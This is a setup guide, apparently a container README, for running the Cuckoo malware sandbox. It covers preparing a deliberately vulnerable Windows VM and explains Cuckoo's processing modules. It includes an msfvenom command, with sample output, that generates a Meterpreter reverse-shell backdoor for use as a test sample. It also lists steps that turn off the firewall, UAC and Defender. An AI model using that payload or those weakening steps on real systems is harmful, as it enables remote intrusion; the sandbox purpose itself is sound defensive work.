strm/cuckoo repository overview

⁠Cuckoo Sandbox in a container

Cuckoo is a malware sandbox, and this project is a docker container to run the whole Cuckoo stack with no effort.

⁠How to deploy this container

⁠System Requirements

As you can imagine, have a real environment to run malware and analyse its behavior, is not something trivial, you will need some memory and processing power for that.

• 40gb of disk space.
• 4gb of ram.
• A descent processor with virtualization support.

⁠How to build this image

This image isn't complete, for licensing restrictions of Windows, it cannot be redistributed. But I will give you a complete guide bellow⁠ about how to setup your own Windows image for this sandbox.

The next step will be build this image, you will need to publish your image to an http server and provide the url for this build. You can use any webserver, or even cloud storages like S3, Google, Dropbox, Google Drive, or other. But in this example I will use python built in http server.

Just cd into the folder that you have the Windows image and run

python -m SimpleHTTPServer

• TODO: How to build the images
  • Pass images urls as build arguments

⁠Cuckoo usage for malware analysis

Want to see Cuckoo in action ? So let's setup a little lab for that. First, you will need a malware sample, luckly you can easily generate backdoors with metasploit, so just run:

docker run --rm -it -v "$(pwd)/out:/out" strm/metasploit

It will take a while, after you get an shell, run

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<C&C IP Address> LPORT=<C&C Port> -f exe > shell.exe

For example

root@8802e01fc439:/# msfvenom -p windows/meterpreter/reverse_tcp LHOST=11.11.11.11 LPORT=12000 -f exe > /out/shell.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes

Your malware will be located in the folder out, named shell.exe.

• Use the same sample for integration tests on docker image

⁠Generated artifacts

• Reports
• Dropped files
• Print screens
• Pcap

⁠Virus Total API

To obtain an API Key for Virus Total, first you have to create an account. There are two types of API Keys in Virus Total, one of them, the public one is the one that you need, this API is free, but some restrictions may be applied. You can get your API by clicking in the My API Key in the main menu.

• TODO: Where to add API key

⁠Windows 8.1 sandbox setup

The objective of this sandbox is to analyze Windows malware, and other attacks. In my lab I setup a Windows 8.1 image for running the samples. Bellow all steps required to replicate this setup.

⁠Setup Qemu

To setup Qemu on the host machine, considering that you are using a Debian Jessie linux, please run this command

apt-get install kvm qemu-kvm libvirt-bin virtinst

⁠Obtain Microsoft Windows 8.1 iso file

You can download the official iso image directly from Microsoft here⁠. The md5 hash of the tested iso for this example is ed99429503578655cb1592973f44b327, is a Windows 8.1 Single Language 64 bits, just in case if you want to replicate it in every detail.

The very first step is to create a disk for our vm, let's create a 40gb disk by running

qemu-img create -f qcow2 windows8.1-sandbox.img 40G

##Boot windows 8.1

To boot windows and also, set the vnc password to secretcuckoo so you won't have to type it on every restart while you are creating your VM.

(sleep 6; echo 'change vnc password'; sleep 3; echo 'secretcuckoo') | qemu-system-x86_64 --enable-kvm -vnc :0,password -net nic,model=virtio -net user -monitor stdio -m 1024 -usbdevice tablet -hda windows8.1-sandbox.qcow2 -cdrom windows8.1.iso --boot d

If you don't want to automatically set a VNC password, when you receive a qemu shell, just type change vnc password to change the VNC password

QEMU 2.1.2 monitor - type 'help' for more information
(qemu) change vnc password
Password: ******
(qemu) #

⁠Install windows 8.1

Install Windows is really simple, so I won't get into trivial details and will focus on post install setup. Install the whole system, and wait until it boot again.

⁠Post install tweaks

There are some post install tweaks needed for better malware analysis and to setup the environment for Cuckoo, I will cover some of them step by step bellow.

⁠Disable autoupdate

I recommend that you disable your Windows autoupdate feature, it will prevent some vulnerabilities to get fixed and will will prevent some further resulting garbage in the sandbox results.

⁠Disable upload Malware to Microsoft

Also I would recommend to disable malware upload to Microsoft.

⁠Disable Windows Firewall

Another important point is to completely disable Windows firewall, so your malware can freely behave as it is intended to behave on your network. Go to your network preferences and disable Windows Firewall

⁠Disable Windows UAC

User Account Control (UAC) is a technology and security infrastructure, it aims to improve the security of Microsoft Windows by limiting application software to standard user privileges until an administrator authorizes an increase or elevation. In this way, only applications trusted by the user may receive administrative privileges, and malware should be kept from compromising the operating system. In other words, a user account may have administrator privileges assigned to it, but applications that the user runs do not inherit those privileges unless they are approved beforehand or the user explicitly authorizes it. So letting UAC enabled will prevent the execution of some malware, and it will impact in further analysis and results.

To disable UAC go to your User Account and Settings panel

Then Disable it by lowering the bar until it reaches the Never notify level.

⁠Install Python

Python is required to run Cuckoo's agent, so it's mandatory for this image to run properly. For this image Python 2.17.13 was used.

Then just continue the installation

One important point is to Add python.exe to Path, don't forget about that !

⁠Install Cuckoo's agent Method #1 - Startup Folder

You can read more about Cuckoo's architecture in the end of this document, but for now, face Cuckoo's agent as the piece of software that links your VM with the Cuckoo's engine. It's necessary and mandatory for this VM, so let's add it to start along with Windows.

The agent.py file used for this example can be found here⁠.

Then just drag'n drop the agent.py file into the folder opened by the previous step, and it's done ! Reboot and test your environment.

You can test it by going to Start-up tab in Windows Task Manager. Just in case you need to troubleshoot.

And finally make the final test, open the Internet Explorer and type http://localhost:8000. Check if you get this result.

⁠Install Cuckoo's agent Method #2 - Scheduled Task

Another way to install Cuckoo's agent is to create a scheduled task to run when the user log into the system. This method is recomended if you get the is32bits error when you try to analyse a malware sample. To create a task to start the Cuckoo agent open your task scheduler configuration:

Then click on Create Task….

Configure your task. Give it a name that you want, and check Run with highest privileges checkbox.

Add a trigger to run your task when the user login in your system.

Save your trigger, and it will look something like this

Then you will need to add an Action to your task, let's make it run our agent.py file.

You action configuration should look like this

Uncheck the Stop the task if it runs longer than checkbox, or else it will prevent our agent to run properly.

⁠Install Java

Java is another fundamental piece of code for analysing malware. Several banks used, and some still using, Java Applets and other Java modules to protect their online customers. Since malware classified as bankers usually target those banks, they started to use some environments that are expected to exist in their victims machine. Another point is that Java was one of the favorite attack vectors for browsers, it will help us analysing some malicious web pages .The Java version for this example is 1.5.0-14.

⁠Install Adobe Reader

Another critical element is Adobe Reader. Several malware get code executing in the victims machine using some known Adobe Reader flaws, is mandatory to out sandbox, to be able to run and analyse those malwares. The Adobe Reader version for this sandbox will be 8.1.2.

⁠Install Flash Player

Flash Player is another fundamental piece of software, there is several vulnerabilities, and a lot of malicious websites make use of them to run code on the victims machines. The version used in this sandbox will be 10.2.

⁠Configure Internet Explorer to be more vulnerable

Some configurations

⁠Enable automatic login

Let's enable automatic login, so you don't need to manually type your password for every boot. Run the netplwiz.

Then uncheck the Users must enter a username and password to use this computer checkbox.

Press Apply and you will be asked for your password.

Just type your password and it's done !

⁠Disable Windows Defender

Windows Defender is an anti-malware component of Microsoft Windows. It was first released as a free antispyware program download for Windows XP, shipped with Windows Vista and Windows 7 and made into a full antivirus program replacing Microsoft Security Essentials as part of Windows 8 and later versions. We need to completely disable Windows Defender to be able to analyse the malware.

To disable Windows Defender you need to open it's preferences

Then you will be presented to this screen

Go to Settings and disable the Real Time protection

Then go to Administration and uncheck Turn on this application.

Save everything and reboot the system, and its done !

⁠Disable telemetry

• ​
• Install Office
• Install NodeJS

⁠Network configuration

Since our Windows image will run inside our container, it will need an static IP configuration, so it will automatically be able to access our virtual network and communicate with Cuckoo server. Configure your Windows to use the 192.168.122.101 address as in the image bellow.

⁠How to test your Windows image

Setup docker to run the image with VNC

• Run qemu -vnc
• add EXPOSE 5900

⁠Windows 7 sandbox setup

The objective of this sandbox is to analyze Windows malware, and other attacks. In my lab I setup a Windows 7 image for running the samples. Bellow all steps required to replicate this setup. Since Windows 7 is more stable and far more lightweight than Windows 8.1, we will create this sandbox too.

⁠Setup Qemu

To setup Qemu on the host machine, considering that you are using a Debian Jessie linux, please run this command

apt-get install kvm qemu-kvm libvirt-bin virtinst

⁠Obtain Microsoft Windows 7 iso file

You can download the official iso image directly from Microsoft, but you will need a valid Serial Key to download it.

The very first step is to create a disk for our vm, let's create a 40gb disk by running

qemu-img create -f qcow2 windows7-sandbox.img 40G

##Boot windows 7

To boot windows and also, set the vnc password to secretcuckoo so you won't have to type it on every restart while you are creating your VM.

(sleep 6; echo 'change vnc password'; sleep 3; echo 'secretcuckoo') | qemu-system-x86_64 --enable-kvm -vnc :0,password -net nic,model=virtio -net user -monitor stdio -m 1024 -usbdevice tablet -hda windows7-sandbox.qcow2 -cdrom windows7.iso --boot d

If you don't want to automatically set a VNC password, when you receive a qemu shell, just type change vnc password to change the VNC password

QEMU 2.1.2 monitor - type 'help' for more information
(qemu) change vnc password
Password: ******
(qemu) #

⁠Install windows 7

Install Windows is really simple, so I won't get into trivial details and will focus on post install setup. Install the whole system, and wait until it boot again.

⁠Post install tweaks

There are some post install tweaks needed for better malware analysis and to setup the environment for Cuckoo, I will cover some of them step by step bellow.

⁠Disable autoupdate

I recommend that you disable your Windows autoupdate feature, it will prevent some vulnerabilities to get fixed and will will prevent some further resulting garbage in the sandbox results.

⁠Disable Windows Firewall

Another important point is to completely disable Windows firewall, so your malware can freely behave as it is intended to behave on your network. Go to your Control Panel > System and Security > Windows Firewall to disable your firewall.

Then disable it

⁠Disable Windows UAC

User Account Control (UAC) is a technology and security infrastructure, it aims to improve the security of Microsoft Windows by limiting application software to standard user privileges until an administrator authorizes an increase or elevation. In this way, only applications trusted by the user may receive administrative privileges, and malware should be kept from compromising the operating system. In other words, a user account may have administrator privileges assigned to it, but applications that the user runs do not inherit those privileges unless they are approved beforehand or the user explicitly authorizes it. So letting UAC enabled will prevent the execution of some malware, and it will impact in further analysis and results.

To disable UAC go to your Control Panel:

Then access User Accounts and Family Safety

Then you will be presented to this screen.

Lower the bar until it reaches the Never notify me level.

⁠Install Python

Python is required to run Cuckoo's agent, so it's mandatory for this image to run properly. For this image Python 2.17.13 was used.

One important point is to Add python.exe to Path, don't forget about that !

And finish the installation

⁠Install Cuckoo's agent via- Scheduled Task

Another way to install Cuckoo's agent is to create a scheduled task to run when the user log into the system. This method is recomended if you get the is32bits error when you try to analyse a malware sample. To create a task to start the Cuckoo agent open your task scheduler configuration:

Then click on Create Task….

Configure your task. Give it a name that you want, and check Run with highest privileges checkbox.

Add a trigger to run your task when the user login in your system.

Save your trigger, and it will look something like this

Then you will need to add an Action to your task, let's make it run our agent.py file.

TODO : IMPLEMENT IT !

Uncheck the Stop the task if it runs longer than checkbox, or else it will prevent our agent to run properly.

⁠Install Java

Java is another fundamental piece of code for analysing malware. Several banks used, and some still using, Java Applets and other Java modules to protect their online customers. Since malware classified as bankers usually target those banks, they started to use some environments that are expected to exist in their victims machine. Another point is that Java was one of the favorite attack vectors for browsers, it will help us analysing some malicious web pages .The Java version for this example is 1.5.0-14.

Finish the installation

⁠Install Adobe Reader

Another critical element is Adobe Reader. Several malware get code executing in the victims machine using some known Adobe Reader flaws, is mandatory to out sandbox, to be able to run and analyse those malwares. The Adobe Reader version for this sandbox will be 8.1.2.

Then

Then

⁠Install Flash Player

Flash Player is another fundamental piece of software, there is several vulnerabilities, and a lot of malicious websites make use of them to run code on the victims machines. The version used in this sandbox will be 10.2.

⁠Configure Internet Explorer to be more vulnerable

Some configurations

⁠Disable Windows Defender

Windows Defender is an anti-malware component of Microsoft Windows. It was first released as a free antispyware program download for Windows XP, shipped with Windows Vista and Windows 7 and made into a full antivirus program replacing Microsoft Security Essentials as part of Windows 8 and later versions. We need to completely disable Windows Defender to be able to analyse the malware.

To disable Windows Defender you need to open it's preferences.

Then go to Administration and uncheck Turn on this application.

Go to Settings and disable the Real Time protection

⁠Disable telemetry

• ​
• Install Office
• Install NodeJS

⁠Network configuration

Since our Windows image will run inside our container, it will need an static IP configuration, so it will automatically be able to access our virtual network and communicate with Cuckoo server. Configure your Windows to use the 192.168.122.102 address as in the image bellow.

⁠How to test your Windows image

Setup docker to run the image with VNC

• Run qemu -vnc
• add EXPOSE 5900

⁠Android sandbox setup

An Android sandbox won't be provided at this time, but it will be added in a future release.

⁠Linux sandbox setup

A Linux sandbox won't be provided at this time, but it will be added in a future release.

⁠Linux honeypot setup

A honeypot won't be provided at this time, but it will be added in a future release.

⁠User licenses and software piracy

We all know that software piracy is illegal, but along with that, don't use any cracked software, or any software downloaded from suspicious sources in your sandbox. Those softwares may already been backdoored, and it will taint your results, giving you some false results all the time.

⁠Cuckoo architecture

⁠Cuckoo frontend

Cuckoo frontend is the interface where the user will iteract with the system. Sample uploads, reports, analysis of the waiting queue. It's acessed trought your browser.

• TODO: Add print

⁠Cuckoo API

Cuckoo also offer an API, so you can automate your work, the API is served at port 8081 by default. If you want to test it, run

And the result will be

⁠Cuckoo modules

Cuckoo’s processing modules are Python scripts that let you define custom ways to analyze the raw results generated by the sandbox and append some information to a global container that will be later used by the signatures and the reporting modules.

After every analysis is complete, Cuckoo will invoke all modules located in modules/processing/ directory. Any module that you want to add, must be placed there. To configure your module, please add a section insite the conf/processing.conf file.

For example, if you are creating a module called checkbanker, you should create a /modules/processing/checkbanker.py file and add an entry to conf/processing.conf file:

[checkbanker]
enabled = yes

Every module in Cuckoo is initialized and executed, after that the data returned will be appended in a data structure that called global container. This container is simply just a big Python dictionary that includes the abstracted results produced by all the modules classified by their identification key.

Cuckoo already have several standard modules

• AnalysisInfo (modules/processing/analysisinfo.py) - generates some basic information on the current analysis, such as timestamps, version of Cuckoo and so on.
• BehaviorAnalysis (modules/processing/behavior.py) - parses the raw behavioral logs and perform some initial transformations and interpretations, including the complete processes tracing, a behavioral summary and a process tree.
• Debug (modules/processing/debug.py) - includes errors and the analysis.log generated by the analyzer.
• Dropped (modules/processing/dropped.py) - includes information on the files dropped by the malware and dumped by Cuckoo.
• Memory (modules/processing/memory.py) - executes Volatility on a full memory dump.
• NetworkAnalysis (modules/processing/network.py) - parses the PCAP file and extracts some network